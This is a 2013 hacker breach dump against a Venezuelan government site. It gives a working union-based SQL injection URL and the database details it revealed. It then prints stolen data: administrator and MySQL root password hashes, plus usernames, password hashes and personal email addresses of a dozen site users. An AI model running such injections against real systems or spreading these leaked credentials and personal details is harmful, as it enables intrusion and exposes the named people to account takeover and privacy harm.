****************************************************************** (+) Target : http://www.abae.gob.ve (+) Authors : WilyXem & QuisterTow (+) Twitter : https://twitter.com/QuisterTow https://twitter.com/WilyXem (+) Date : 17.02.2013 (+) Hour : 00:00 AM (+) Method : MySQL Injection Union Based {GET} ******************************************************************
[+] WebSite : http://www.abae.gob.ve/noticias/vernoticia.php?id=1 [+] MySQL Injection Union Based Syntax : {GET} http://www.abae.gob.ve/noticias/vernoticia.php?id=-1 union all select 1,2,3,4,version(),6,7,8-- - {GET} [+] DataBase Version : 5.1.66-0+squeeze1 [+] Current DataBase : paginaweb [+] Others DB's : information_schema, miranda, mysql, phpmyadmin. [+] System User : root@localhost DataBase : miranda +-----------------------------+ +---------+ | miranda | +---------+ Tables from miranda: +--------------------+ | administrator | | ente_gubernamental | | miranda_usuarios | | solicitud | | usuario_juridica | | usuario_natural | +--------------------+ Columns from table ==> administrator: +------------------+---------+----------+ | id_administrador | usuario | password | +------------------+---------+----------+ Data from id_administrator, usuario & password: [ID] [Usuario] [Password (MD5)] 1 administrador fd7c74a9ca1bd8f53281923ff8229fa1 2 JeanPPlazaB c984913060fb5ae18c1bd86abbe2687f 3 JJmachadoO c2044fac8906bff22431590a1691992c Data from mysql.user: root~*56712517D39D1F4B5B19A8F23AC5F0FD7426520A debian-sys-maint~*EE940FA8BB40704F513E9AC958B1419CBD0DDE30 phpmyadmin~*56712517D39D1F4B5B19A8F23AC5F0FD7426520A Data from miranda.miranda_usuarios: nombre_usuario, password, correo_electronico, tipo_usuario: rfranco 6f98a47c7b7da6a8998845ff1c6ad643 rfranco@abae.gob.ve Persona Natural mmedina cd9c429aa1be0f8818f8e36d621bc631 mmedina@abae.gob.ve Persona Natural alvarz3 7c98db9a8c0ce2b20ee9b3eed379a364 ealvarez.zimbra@gmail.com Persona Natural juancgfidalgo 678b34ef0b034c5dbc1aa1ad7be585c2 juancgfidalgo@gmail.com Persona Natural 14392646 5a5c5075126fed7d4a94b1d3ac494c64 jhonnyjosevielmaangulo@gmail.com Persona Natural tomasorta ab3eaec26350147470dc3c63e9fc0f28 ortatomas@gmail.com Persona Natural pasalo32@hotmail.com ff28e17251338a0ef2d1bb760e6de4c5 pasalo32@hotmail.com Persona Natural jupiter figuera 8cfa3c94c86dc49bb0f389ebed789c31 jfigueray@yahoo.com Persona Natural franklinjavierd 246aaaff451f18063ab0c0e5c4377ea5 franklinjavierd@hotmail.com Persona Natural rojaslaq e9d97bde452148490aaaf4276d4ebeb9 rojaslaq@pdvsa.com Persona Natural rchacare 2ba32fc7ce353717c35b520370d167d4 rafael28876@hotmail.com Persona Natural augusto mena 358fe8da8c1357709ec2313e5c86e064 kuyabisi1926@gmail.com Persona Natural =============================== Thanks, QuisterTow & WilyXem. ===============================